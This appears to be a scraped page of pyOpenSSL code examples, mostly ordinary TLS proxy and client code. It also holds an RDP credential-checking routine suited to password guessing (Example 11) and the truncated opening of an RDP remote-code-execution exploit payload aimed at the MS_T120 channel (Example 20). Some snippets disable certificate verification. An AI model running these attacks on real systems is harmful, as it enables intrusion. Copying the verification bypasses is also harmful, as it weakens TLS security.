Exemplo n.º 1
0
    def tls_start_server(self, tls_start: tls.TlsData) -> None:
        """Establish TLS between proxy and server."""
        if tls_start.ssl_conn is not None:
            return  # a user addon has already provided the pyOpenSSL context.

        client: connection.Client = tls_start.context.client
        server: connection.Server = tls_start.context.server
        assert server.address

        if ctx.options.ssl_insecure:
            verify = net_tls.Verify.VERIFY_NONE
        else:
            verify = net_tls.Verify.VERIFY_PEER

        if server.sni is None:
            server.sni = client.sni or server.address[0]

        if not server.alpn_offers:
            if client.alpn_offers:
                if ctx.options.http2:
                    # We would perfectly support HTTP/1 -> HTTP/2, but we want to keep things on the same protocol
                    # version. There are some edge cases where we want to mirror the regular server's behavior
                    # accurately, for example header capitalization.
                    server.alpn_offers = tuple(client.alpn_offers)
                else:
                    server.alpn_offers = tuple(x for x in client.alpn_offers
                                               if x != b"h2")
            else:
                # We either have no client TLS or a client without ALPN.
                # - If the client does use TLS but did not send an ALPN extension, we want to mirror that upstream.
                # - If the client does not use TLS, there's no clear-cut answer. As a pragmatic approach, we also do
                #   not send any ALPN extension in this case, which defaults to whatever protocol we are speaking
                #   or falls back to HTTP.
                server.alpn_offers = []

        if not server.cipher_list and ctx.options.ciphers_server:
            server.cipher_list = ctx.options.ciphers_server.split(":")
        # don't assign to client.cipher_list, doesn't need to be stored.
        cipher_list = server.cipher_list or DEFAULT_CIPHERS

        client_cert: Optional[str] = None
        if ctx.options.client_certs:
            client_certs = os.path.expanduser(ctx.options.client_certs)
            if os.path.isfile(client_certs):
                client_cert = client_certs
            else:
                server_name: str = server.sni or server.address[0]
                p = os.path.join(client_certs, f"{server_name}.pem")
                if os.path.isfile(p):
                    client_cert = p

        ssl_ctx = net_tls.create_proxy_server_context(
            min_version=net_tls.Version[ctx.options.tls_version_client_min],
            max_version=net_tls.Version[ctx.options.tls_version_client_max],
            cipher_list=tuple(cipher_list),
            verify=verify,
            hostname=server.sni,
            ca_path=ctx.options.ssl_verify_upstream_trusted_confdir,
            ca_pemfile=ctx.options.ssl_verify_upstream_trusted_ca,
            client_cert=client_cert,
            alpn_protos=tuple(server.alpn_offers),
        )

        tls_start.ssl_conn = SSL.Connection(ssl_ctx)
        if server.sni:
            try:
                ipaddress.ip_address(server.sni)
            except ValueError:
                tls_start.ssl_conn.set_tlsext_host_name(server.sni.encode())
            else:
                # RFC 6066: Literal IPv4 and IPv6 addresses are not permitted in "HostName".
                # It's not really ideal that we only enforce that here, but otherwise we need to add checks everywhere
                # where we assign .sni, which is much less robust.
                pass
        tls_start.ssl_conn.set_connect_state()
Exemplo n.º 2
0
 def __init__(self, context, sock):
     self._context = context
     self._sock = sock
     self._connection = SSL.Connection(context, sock)
     self._io_refs = 0
Exemplo n.º 3
0
    from email.mime.text import MIMEText
    from subprocess import Popen, PIPE
    msg = MIMEText(response)
    msg["From"] = "*****@*****.**"
    msg["To"] = "*****@*****.**"
    msg["Subject"] = "Certificate expired warning !!"
    p = Popen(["/usr/sbin/sendmail", "-t", "-oi"], stdin=PIPE)
    p.communicate(msg.as_string())


for lists in servers:
    endpoint = lists.strip().split()[0]
    domain = lists.strip().split()[1]
    cdn = lists.strip().split()[2]

    context = SSL.Context(SSL.SSLv23_METHOD)
    sock = SSL.Connection(context,
                          socket.socket(socket.AF_INET, socket.SOCK_STREAM))

    try:
        sock.connect((str(endpoint), int(port)))
        # Send empty to trigger response
        sock.send("\x00")
        get_peer_cert = sock.get_peer_certificate()
        sock.close()

        exp_date = datetime.datetime.strptime(get_peer_cert.get_notAfter(),
                                              '%Y%m%d%H%M%SZ')
        days_to_expire = int((exp_date - cur_date).days)
        cert_tested = cert_tested + 1
Exemplo n.º 4
0
 def getContext(self):
     return SSL.Context(self.method)
Exemplo n.º 5
0
def verify_cb(conn, cert, errnum, depth, ok):
    # This obviously has to be updated
    print 'Got certificate: %s' % cert.get_subject()
    return ok


if len(sys.argv) < 2:
    print 'Usage: python[2] server.py PORT'
    sys.exit(1)

dir = os.path.dirname(sys.argv[0])
if dir == '':
    dir = os.curdir

# Initialize context
ctx = SSL.Context(SSL.SSLv23_METHOD)
ctx.set_options(SSL.OP_NO_SSLv2)
#ctx.set_verify(SSL.VERIFY_PEER|SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_cb) # Demand a certificate
ctx.use_privatekey_file(os.path.join(dir, 'server.key'))
ctx.use_certificate_file(os.path.join(dir, 'server.crt'))
#ctx.load_verify_locations(os.path.join(dir, 'CA.cert'))

# Set up server
server = SSL.Connection(ctx, socket.socket(socket.AF_INET, socket.SOCK_STREAM))
server.bind(('', int(sys.argv[1])))
server.listen(3)
server.setblocking(0)

clients = {}
writers = {}
Exemplo n.º 6
0
    def _create_ssl_context(
        self,
        method=SSL_DEFAULT_METHOD,
        options=SSL_DEFAULT_OPTIONS,
        verify_options=SSL.VERIFY_NONE,
        ca_path=None,
        ca_pemfile=None,
        cipher_list=None,
        alpn_protos=None,
        alpn_select=None,
        alpn_select_callback=None,
        sni=None,
    ):
        """
        Creates an SSL Context.

        :param method: One of SSLv2_METHOD, SSLv3_METHOD, SSLv23_METHOD, TLSv1_METHOD, TLSv1_1_METHOD, or TLSv1_2_METHOD
        :param options: A bit field consisting of OpenSSL.SSL.OP_* values
        :param verify_options: A bit field consisting of OpenSSL.SSL.VERIFY_* values
        :param ca_path: Path to a directory of trusted CA certificates prepared using the c_rehash tool
        :param ca_pemfile: Path to a PEM formatted trusted CA certificate
        :param cipher_list: A textual OpenSSL cipher list, see https://www.openssl.org/docs/apps/ciphers.html
        :rtype : SSL.Context
        """
        try:
            context = SSL.Context(method)
        except ValueError as e:
            method_name = ssl_method_names.get(method, "unknown")
            raise exceptions.TlsException(
                "SSL method \"%s\" is most likely not supported "
                "or disabled (for security reasons) in your libssl. "
                "Please refer to https://github.com/mitmproxy/mitmproxy/issues/1101 "
                "for more details." % method_name)

        # Options (NO_SSLv2/3)
        if options is not None:
            context.set_options(options)

        # Verify Options (NONE/PEER and trusted CAs)
        if verify_options is not None:

            def verify_cert(conn, x509, errno, err_depth, is_cert_verified):
                if not is_cert_verified:
                    self.ssl_verification_error = exceptions.InvalidCertificateException(
                        "Certificate Verification Error for {}: {} (errno: {}, depth: {})"
                        .format(
                            sni,
                            strutils.always_str(
                                SSL._ffi.string(
                                    SSL._lib.X509_verify_cert_error_string(
                                        errno)), "utf8"), errno, err_depth))
                return is_cert_verified

            context.set_verify(verify_options, verify_cert)
            if ca_path is None and ca_pemfile is None:
                ca_pemfile = certifi.where()
            try:
                context.load_verify_locations(ca_pemfile, ca_path)
            except SSL.Error:
                raise exceptions.TlsException(
                    "Cannot load trusted certificates ({}, {}).".format(
                        ca_pemfile, ca_path))

        # Workaround for
        # https://github.com/pyca/pyopenssl/issues/190
        # https://github.com/mitmproxy/mitmproxy/issues/472
        # Options already set before are not cleared.
        context.set_mode(SSL._lib.SSL_MODE_AUTO_RETRY)

        # Cipher List
        if cipher_list:
            try:
                context.set_cipher_list(cipher_list)
                context.set_tmp_ecdh(
                    OpenSSL.crypto.get_elliptic_curve('prime256v1'))
            except SSL.Error as v:
                raise exceptions.TlsException(
                    "SSL cipher specification error: %s" % str(v))

        # SSLKEYLOGFILE
        if log_ssl_key:
            context.set_info_callback(log_ssl_key)

        if HAS_ALPN:  # pragma: openssl-old no cover
            if alpn_protos is not None:
                # advertise application layer protocols
                context.set_alpn_protos(alpn_protos)
            elif alpn_select is not None and alpn_select_callback is None:
                # select application layer protocol
                def alpn_select_callback(conn_, options):
                    if alpn_select in options:
                        return bytes(alpn_select)
                    else:  # pragma: no cover
                        return options[0]

                context.set_alpn_select_callback(alpn_select_callback)
            elif alpn_select_callback is not None and alpn_select is None:
                if not callable(alpn_select_callback):
                    raise exceptions.TlsException(
                        "ALPN error: alpn_select_callback must be a function.")
                context.set_alpn_select_callback(alpn_select_callback)
            elif alpn_select_callback is not None and alpn_select is not None:
                raise exceptions.TlsException(
                    "ALPN error: only define alpn_select (string) OR alpn_select_callback (function)."
                )

        return context
Exemplo n.º 7
0
def myproxy_client(sslctx,
                   op,
                   username,
                   logger,
                   lifetime=43200,
                   host="myproxy.cern.ch",
                   port=7512):
    """
    Function to info|get a proxy credential from a MyProxy server

    Exceptions: MyProxyException or any of the SSL exceptions
    """
    if op not in ['info', 'get']:
        raise MyProxyException('Wrong operation. Select "info" or "get".')

    logger.debug("debug: connect to myproxy server")
    conn = SSL.Connection(sslctx, socket.socket())
    conn.connect((host, port))

    logger.debug("debug: send globus compat byte")
    conn.write('0')

    logger.debug("debug: send the operation command")
    if op == 'info': cmd = CMD_INFO % username
    else: cmd = CMD_GET % (username, lifetime)
    conn.write(cmd)

    logger.debug("debug: process server response")
    d = conn.recv(8192)
    logger.debug(d)

    resp, error, data = deserialize_response(d)
    if resp: raise MyProxyException(error)
    logger.debug("debug: server response ok")

    if op == 'get':
        # The client will generate a public/private key pair and send a
        # NULL-terminated PKCS#10 certificate request to the server.
        logger.debug("debug: generate and send certificate request")
        certreq, privkey = create_cert_req()
        conn.send(certreq)

        logger.debug("debug: receive the number of certs")
        d = conn.recv(1)
        numcerts = ord(d[0])

        logger.debug("debug: receive %d certs" % numcerts)
        d = conn.recv(8192)

        logger.debug("debug: process server response")
        r = conn.recv(8192)
        resp, error, data = deserialize_response(r)
        if resp: raise RetrieveProxyException(error)
        logger.debug("debug: server response ok")

        # deserialize certs from received cert data
        pem_certs = deserialize_certs(d)
        if len(pem_certs) != numcerts:
            raise MyProxyException("%d certs expected, %d received" %
                                   (numcerts, len(pem_certs)))
        logger.debug("debug: certs deserialized successfuly")

        # return proxy, the corresponding privkey, and then the rest of cert chain
        data = pem_certs[0] + privkey
        for c in pem_certs[1:]:
            data += c

    return data
Exemplo n.º 8
0
 def test_read_syscall_ssl_error(self):
     s = mock.MagicMock()
     s.read = mock.MagicMock(side_effect=SSL.SysCallError())
     s = tcp.Reader(s)
     tutils.raises(exceptions.TlsException, s.read, 1)
Exemplo n.º 9
0
 def _make_server_iostream(self, connection, **kwargs):
     dest_context = _server_ssl_options()
     ssl_sock = SSL.Connection(dest_context, connection)
     ssl_sock.set_accept_state()
     return MicroProxySSLIOStream(ssl_sock, io_loop=self.io_loop, **kwargs)
Exemplo n.º 10
0
 def __init__(self, protocol):
     self.protocol = protocol
     self._ctx = ossl.Context(protocol)
     self.options = OP_ALL
     self.check_hostname = False
     self.npn_protos = []
Exemplo n.º 11
0
    def check_rdp(host, username, password, domain, hashes=None):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = a2b_hex(lmhash)
            nthash = a2b_hex(nthash)

        else:
            lmhash = ''
            nthash = ''

        tpkt = TPKT()
        tpdu = TPDU()
        rdp_neg = RDP_NEG_REQ()
        rdp_neg['Type'] = TYPE_RDP_NEG_REQ
        rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
        tpdu['VariablePart'] = rdp_neg.getData()
        tpdu['Code'] = TDPU_CONNECTION_REQUEST
        tpkt['TPDU'] = tpdu.getData()

        s = socket.socket()
        s.connect((host, 3389))  #port default
        s.sendall(tpkt.getData())
        pkt = s.recv(8192)
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])
        cr_tpdu = CR_TPDU(tpdu['VariablePart'])
        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            logging.error(
                "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
            )
            return
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

        # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

        # 1. The CredSSP client and CredSSP server first complete the TLS handshake,
        # as specified in [RFC2246]. After the handshake is complete, all subsequent
        # CredSSP Protocol messages are encrypted by the TLS channel.
        # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
        # handshake, the CredSSP server does not request the client's X.509 certificate
        # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
        # the client to have a commonly trusted certification authority root with the
        # CredSSP server. Thus, the CredSSP server MAY use, for example,
        # a self-signed X.509 certificate.

        # Switching to TLS now
        ctx = SSL.Context(SSL.TLSv1_2_METHOD)
        ctx.set_cipher_list(b'RC4,AES')
        tls = SSL.Connection(ctx, s)
        tls.set_connect_state()
        tls.do_handshake()

        # If you want to use Python internal ssl, uncomment this and comment
        # the previous lines
        #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

        # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
        # and server completes mutual authentication and establishes an encryption key
        # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
        # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
        # the calling application (the CredSSP client and CredSSP server).
        # The wire protocol for SPNEGO is specified in [MS-SPNG].
        # The SPNEGO tokens exchanged between the client and the server are encapsulated
        # in the negoTokens field of the TSRequest structure. Both the client and the
        # server use this structure as many times as necessary to complete the SPNEGO
        # exchange.<9>
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
        # field is omitted by the client unless the client is sending the last SPNEGO token.
        # If the client is sending the last SPNEGO token, the TSRequest structure MUST have
        # both the negoToken and the pubKeyAuth fields filled in.

        # NTLMSSP stuff
        auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)

        ts_request = TSRequest()
        ts_request['NegoData'] = auth.getData()

        tls.send(ts_request.getData())
        buff = tls.recv(4096)
        ts_request.fromString(buff)

        # 3. The client encrypts the public key it received from the server (contained
        # in the X.509 certificate) in the TLS handshake from step 1, by using the
        # confidentiality support of SPNEGO. The public key that is encrypted is the
        # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
        # certificate, as specified in [RFC3280] section 4.1. The encrypted key is
        # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
        # the TLS channel to the server.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure; the client MUST send its last SPNEGO token to the
        # server in the negoTokens field (see step 2) along with the encrypted public key
        # in the pubKeyAuth field.

        # Last SPNEGO token calculation
        #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth,
            ts_request['NegoData'],
            username,
            password,
            domain,
            lmhash,
            nthash,
            use_ntlmv2=True)

        # Get server public key
        server_cert = tls.get_peer_certificate()
        pkey = server_cert.get_pubkey()
        dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

        # Fix up due to PyOpenSSL lack for exporting public keys
        dump = dump[7:]
        dump = b'\x30' + asn1encode(dump)

        cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
        signature, cripted_key = cipher.encrypt(dump)
        ts_request['NegoData'] = type3.getData()
        ts_request['pubKeyAuth'] = signature.getData() + cripted_key

        try:
            # Sending the Type 3 NTLM blob
            tls.send(ts_request.getData())
            # The other end is waiting for the pubKeyAuth field, but looks like it's
            # not needed to check whether authentication worked.
            # If auth is unsuccessful, it throws an exception with the previous send().
            # If auth is successful, the server waits for the pubKeyAuth and doesn't answer
            # anything. So, I'm sending garbage so the server returns an error.
            # Luckily, it's a different error so we can determine whether or not auth worked ;)
            buff = tls.recv(1024)
        except Exception as err:
            if str(err).find("denied") > 0:
                # logging.error("Access Denied")
                sys.stdout.write('\r[-] [%s:%s] Access Denied            ' %
                                 (username, password))
            else:
                logging.error(err)
                time.sleep(5)
            return

        # 4. After the server receives the public key in step 3, it first verifies that
        # it has the same public key that it used as part of the TLS handshake in step 1.
        # The server then adds 1 to the first byte representing the public key (the ASN.1
        # structure corresponding to the SubjectPublicKey field, as described in step 3)
        # and encrypts the binary result by using the SPNEGO encryption services.
        # Due to the addition of 1 to the binary data, and encryption of the data as a binary
        # structure, the resulting value may not be valid ASN.1-encoded values.
        # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
        # structure and is sent over the encrypted TLS channel to the client.
        # The addition of 1 to the first byte of the public key is performed so that the
        # client-generated pubKeyAuth message cannot be replayed back to the client by an
        # attacker.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
        # fields are omitted from the TSRequest structure.

        ts_request = TSRequest(buff)

        # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
        signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])

        # 5. After the client successfully verifies server authenticity by performing a
        # binary comparison of the data from step 4 to that of the data representing
        # the public key from the server's X.509 certificate (as specified in [RFC3280],
        # section 4.1), it encrypts the user's credentials (either password or smart card
        # PIN) by using the SPNEGO encryption services. The resulting value is
        # encapsulated in the authInfo field of the TSRequest structure and sent over
        # the encrypted TLS channel to the server.
        # The TSCredentials structure within the authInfo field of the TSRequest
        # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
        # but MUST NOT contain both.
        #
        # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
        # fields are omitted from the TSRequest structure.
        tsp = TSPasswordCreds()
        tsp['domainName'] = domain
        tsp['userName'] = username
        tsp['password'] = password
        tsc = TSCredentials()
        tsc['credType'] = 1  # TSPasswordCreds
        tsc['credentials'] = tsp.getData()

        signature, cripted_creds = cipher.encrypt(tsc.getData())
        ts_request = TSRequest()
        ts_request['authInfo'] = signature.getData() + cripted_creds
        tls.send(ts_request.getData())
        tls.close()
        # logging.info("\rAccess Granted\n")
        sys.stdout.write('\r[+] [%s:%s] Access Granted\n' %
                         (username, password))
        return True
Exemplo n.º 12
0
 def getContext(self):
     return SSL.Context(SSL.TLSv1_METHOD)
Exemplo n.º 13
0
 def __init__(self, *args):
     self._ssl_conn = _ssl.Connection(*args)
     self._lock = _RLock()
Exemplo n.º 14
0
# https://github.com/alanhuang122/ocsp-utils
import binascii
import idna
import requests
import socket
import sys

from cryptography import x509 as crypto509
from OpenSSL import SSL, crypto
from asn1crypto import core, ocsp, x509
from cryptography.hazmat.backends import default_backend
from cryptography.x509 import ExtensionOID, ExtensionNotFound
from ocspbuilder import OCSPRequestBuilder
from oscrypto import asymmetric

tlsv1 = SSL.Context(SSL.TLSv1_METHOD)
tlsv11 = SSL.Context(SSL.TLSv1_1_METHOD)
tlsv12 = SSL.Context(SSL.TLSv1_2_METHOD)

contexts = [tlsv12, tlsv11, tlsv1]


def ocsp_lookup(name):
    try:
        encoded_name = idna.encode(name)
        response = get_response(encoded_name)
        return response
    except Exception:
        return {'status': 'failed'}

Exemplo n.º 15
0
# coding=utf-8

import socket, sys
from OpenSSL import SSL

ctx = SSL.Context(SSL.SSLv23_METHOD)
print "Creating socket ..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Done"

ssl = SSL.Connection(ctx, s)

print "Establishing SSL ..."
ssl.connect(('www.openssl.org', 443))
print "Done"

print "Requesting document ..."
# ssl.sendall("GET / HTTP/1.0\r\n\r\n")
ssl.sendall("GET /\r\n")
print "Done"

while 1:
    try:
        buf = ssl.recv(4096)
    except SSL.ZeroReturnError:
        break
    sys.stdout.write(buf)

ssl.close()
Exemplo n.º 16
0
 def __init__(self, *args):
     self._ssl_conn = SSL.Connection(*args)
     self._lock = threading.RLock()
Exemplo n.º 17
0
 def __init__(self):
     self._context = SSL.Context(SSL.SSLv23_METHOD)
     self._context.set_verify(VERIFY_NONE, lambda *_: None)
Exemplo n.º 18
0
    def do_CONNECT(self):
        '''
        Handle the CONNECT method.
        This method is not expected to be overwritten.
        To understand what happens here, please read comments for HTTPServerWrapper class
        '''
        # Log what we are doing.
        self.log_request(200)
        soc = None

        try:
            try:
                self.wfile.write(self.protocol_version +
                                 " 200 Connection established\r\n\r\n")

                # Now, transform the socket that connects the browser and the
                # proxy to a SSL socket!
                ctx = SSL.Context(SSL.SSLv23_METHOD)
                ctx.set_timeout(5)

                try:
                    ctx.use_privatekey_file(self._uri_opener._proxy_cert)
                except SSL.Error:
                    error = "[proxy error] Couldn't find certificate file %s"
                    error = error % self._uri_opener._proxy_cert
                    om.out.error(error)

                ctx.use_certificate_file(self._uri_opener._proxy_cert)
                ctx.load_verify_locations(self._uri_opener._proxy_cert)

                # Save for later
                browSoc = self.connection

                # Don't demand a certificate
                #
                #   IMPORTANT: This line HAS to be just before the SSL.Connection, it seems that
                #                         any other ctx method modifies the SSL.VERIFY_NONE setting!
                #
                ctx.set_verify(SSL.VERIFY_NONE, self._verify_cb)

                browCon = SSL.Connection(ctx, self.connection)
                browCon.set_accept_state()

                # see HTTPServerWrapper class below
                httpsServer = HTTPServerWrapper(self.__class__, self)
                httpsServer.w3afLayer = self.server.w3afLayer

                om.out.debug("SSL 'self.connection' connection state=" +
                             browCon.state_string())

                conWrap = SSLConnectionWrapper(browCon, browSoc)
                try:
                    httpsServer.process_request(conWrap, self.client_address)
                except SSL.ZeroReturnError, ssl_error:
                    msg = 'Catched SSL.ZeroReturn in do_CONNECT(): %s'
                    om.out.debug(msg % ssl_error)
                except SSL.Error, ssl_error:
                    msg = 'Catched SSL.Error in do_CONNECT(): %s'
                    om.out.debug(msg % ssl_error)
                except TypeError, type_error:
                    # TypeError: shutdown() takes exactly 0 arguments (1 given)
                    # https://bugs.launchpad.net/pyopenssl/+bug/900792
                    msg = 'Socket shutdown is incompatible with pyOpenSSL: %s'
                    om.out.debug(msg % type_error)
Exemplo n.º 19
0
    def convert_to_ssl(self, sni=None, alpn_protos=None, **sslctx_kwargs):
        """
            cert: Path to a file containing both client cert and private key.

            options: A bit field consisting of OpenSSL.SSL.OP_* values
            verify_options: A bit field consisting of OpenSSL.SSL.VERIFY_* values
            ca_path: Path to a directory of trusted CA certificates prepared using the c_rehash tool
            ca_pemfile: Path to a PEM formatted trusted CA certificate
        """
        verification_mode = sslctx_kwargs.get('verify_options', None)
        if verification_mode == SSL.VERIFY_PEER and not sni:
            raise exceptions.TlsException(
                "Cannot validate certificate hostname without SNI")

        context = self.create_ssl_context(alpn_protos=alpn_protos,
                                          sni=sni,
                                          **sslctx_kwargs)
        self.connection = SSL.Connection(context, self.connection)
        if sni:
            self.sni = sni
            self.connection.set_tlsext_host_name(sni.encode("idna"))
        self.connection.set_connect_state()
        try:
            self.connection.do_handshake()
        except SSL.Error as v:
            if self.ssl_verification_error:
                raise self.ssl_verification_error
            else:
                raise exceptions.TlsException("SSL handshake error: %s" %
                                              repr(v))

        self.cert = certs.SSLCert(self.connection.get_peer_certificate())

        # Keep all server certificates in a list
        for i in self.connection.get_peer_cert_chain():
            self.server_certs.append(certs.SSLCert(i))

        # Validate TLS Hostname
        try:
            crt = dict(subjectAltName=[("DNS", x.decode("ascii", "strict"))
                                       for x in self.cert.altnames])
            if self.cert.cn:
                crt["subject"] = [[[
                    "commonName",
                    self.cert.cn.decode("ascii", "strict")
                ]]]
            if sni:
                hostname = sni
            else:
                hostname = "no-hostname"
            match_hostname(crt, hostname)
        except (ValueError, CertificateError) as e:
            self.ssl_verification_error = exceptions.InvalidCertificateException(
                "Certificate Verification Error for {}: {}".format(
                    sni or repr(self.address), str(e)))
            if verification_mode == SSL.VERIFY_PEER:
                raise self.ssl_verification_error

        self.ssl_established = True
        self.rfile.set_descriptor(self.connection)
        self.wfile.set_descriptor(self.connection)
Exemplo n.º 20
0
def main(host, channum):
    tpkt = TPKT()
    tpdu = TPDU()
    rdp_neg = RDP_NEG_REQ()
    rdp_neg['Type'] = 1
    rdp_neg['requestedProtocols'] = 1
    tpdu['VariablePart'] = rdp_neg.getData()
    tpdu['Code'] = 0xe0
    tpkt['TPDU'] = tpdu.getData()

    s = socket.socket()
    s.connect((host, 3389))
    s.sendall(tpkt.getData())
    pkt = s.recv(8192)

    ctx = SSL.Context(SSL.TLSv1_METHOD)
    tls = SSL.Connection(ctx, s)
    tls.set_connect_state()
    tls.do_handshake()

    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr

    MS_T120 = "\x4d\x53\x5f\x54\x31\x32\x30"  #This gets you to code path in IcaBindVirtualChannels
    padding = int(channum) * "\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00"

    buf = (
        #---------------------------------------------------------------------------
        "\x03\x00"  # Header
        "\x01\xca"  # Size
        "\x02\xf0\x80"  # X224
        "\x7f\x65"
        "\x82\x07"  # +0xA9
        "\xc2\x04"
        "\x01\x01\x04\x01\x01\x01\x01\xff"
        #---------------------------------------------------------------------------
        # mcsCi variable
        "\x30\x19"
        "\x02\x01\x22"  #MaxChannelIDs
        "\x02\x01\x02"  #MaxUserIDs
        "\x02\x01\x00"  #MaxTokenIDs
        "\x02\x01\x01"  #Priorities
        "\x02\x01\x00"  #MinThroughput
        "\x02\x01\x01"  #MaxHeight
        "\x02\x02\xff\xff"  #MaxMCSPDUSize
        "\x02\x01\x02"  #ProtocolVersion
        #---------------------------------------------------------------------------
        # mcsCi variable
        "\x30\x19"
        "\x02\x01\x01"  #MaxChannelIDs
        "\x02\x01\x01"  #MaxUserIDs
        "\x02\x01\x01"  #MaxTokenIDs
        "\x02\x01\x01"  #Priorities
        "\x02\x01\x00"  #MinThroughput
        "\x02\x01\x01"  #MaxHeight
        "\x02\x02\x04\x20"  #MaxMCSPDUSize
        "\x02\x01\x02"  #ProtocolVersion
        #---------------------------------------------------------------------------
        # mcsCi variable
        "\x30\x1c"
        "\x02\x02\xff\xff"  #MaxChannelIDs
        "\x02\x02\xfc\x17"  #MaxUserIDs
        "\x02\x02\xff\xff"  #MaxTokenIDs
        "\x02\x01\x01"  #Priorities
        "\x02\x01\x00"  #MinThroughput
        "\x02\x01\x01"  #MaxHeight
        "\x02\x02\xff\xff"  #MaxMCSPDUSize
        "\x02\x01\x02"  #ProtocolVersion
        #---------------------------------------------------------------------------
        # gccCCrq variable
        "\x04"
        "\x82\x01"
        "\x61"
        "\x00\x05\x00\x14"
        "\x7c\x00\x01"
        "\x81\x48"
        "\x00"
        "\x08\x00"
        "\x10\x00"
        "\x01\xc0"
        "\x00"
        "\x44\x75\x63\x61"  # Duca
        "\x81\x34"
        #---------------------------------------------------------------------------
        # CS_CORE
        "\x01\xc0"  # Type
        "\xea\x00"  # Length
        "\x0a\x00\x08\x00"  # Version
        "\x80\x07"  # DesktopWidth
        "\x38\x04"  # DesktopHeight
        "\x01\xca"  # ColorDepth
        "\x03\xaa"  # SASSequence
        "\x09\x04\x00\x00"  # KeyboardLayout
        "\xee\x42\x00\x00"  # BuildNumber
        "\x44\x00\x45\x00"  #------
        "\x53\x00\x4b\x00"  #		|
        "\x54\x00\x4f\x00"  #		|
        "\x50\x00\x2d\x00"  #		|
        "\x46\x00\x38\x00"  #		|-- ClientName
        "\x34\x00\x30\x00"  #		|
        "\x47\x00\x49\x00"  #		|
        "\x4b\x00\x00\x00"  #------
        "\x04\x00\x00\x00"  # KeyboardType
        "\x00\x00\x00\x00"  # KeyboardSub
        "\x0c\x00\x00\x00"  # KeyboardFunc
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  #---
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  #  |
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  #  |--imeFileName
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  #---	
        "\x01\xca"  # PostBeta2ColorDepth 
        "\x01\x00"  # ProductID
        "\x00\x00\x00\x00"  # SerialNumber
        "\x18\x00"  # HighColorDepth
        "\x0f\x00"  # SupportedColorDepth
        "\xaf\x07"  # EarlyCapabilityFlags
        "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d"  #--
        "\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39"  #		 |
        "\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00"  #		 |-- ClientProductID
        "\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07"  #		 |
        "\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00"  #---
        "\x00"  # ConnType
        "\x00"  # Padding
        "\x64\x00\x00\x00"  # ServerProtocol
        "\x04\xc0\x0c\x00"  # PhysWidth
        "\x15\x00\x00\x00"  # PhysHeight
        "\x00\x00\x00\x00"  # Some Opt Field? idk
        #---------------------------------------------------------------------------
        # CS_SECURITY
        "\x02\xc0"  # Type
        "\x0c\x00"  # Length
        "\x1b\x00\x00\x00"  # EncryptionMethod
        "\x00\x00\x00\x00"  # Extension
        #---------------------------------------------------------------------------
        # CS_NET - look in to CHANNEL_DEFs?
        "\x03\xc0"  # Name
        "\x38\x00"  # Length
        "\x05\x00\x00\x00"  # ChannelCount - "MAX OF 31"
        #-- -- -- -- -- -- -- -- -- --
        # 1nd channel
        "\x72\x64\x70\x73\x6e\x64\x00\x00"
        "\x0f\x00\x00\xc0"
        #-- -- -- -- -- -- -- -- -- --
        # 2rd channel
        "\x63\x6c\x69\x70\x72\x64\x72\x00"
        "\x00\x00\xa0\xc0"
        #-- -- -- -- -- -- -- -- -- --
        # 3th channel
        "\x64\x72\x64\x79\x6e\x76\x63\x00"
        "\x00\x00\x80\xc0" + padding)

    size0 = struct.pack(">h", len(buf))
    size1 = struct.pack(">h", len(buf) - 12)
    size2 = struct.pack(">h", len(buf) - 109)
    size3 = struct.pack(">h", len(buf) - 118)
    size4 = struct.pack(">h", len(buf) - 132)
    size5 = struct.pack(">h", len(buf) - 390)
    barr = bytearray()
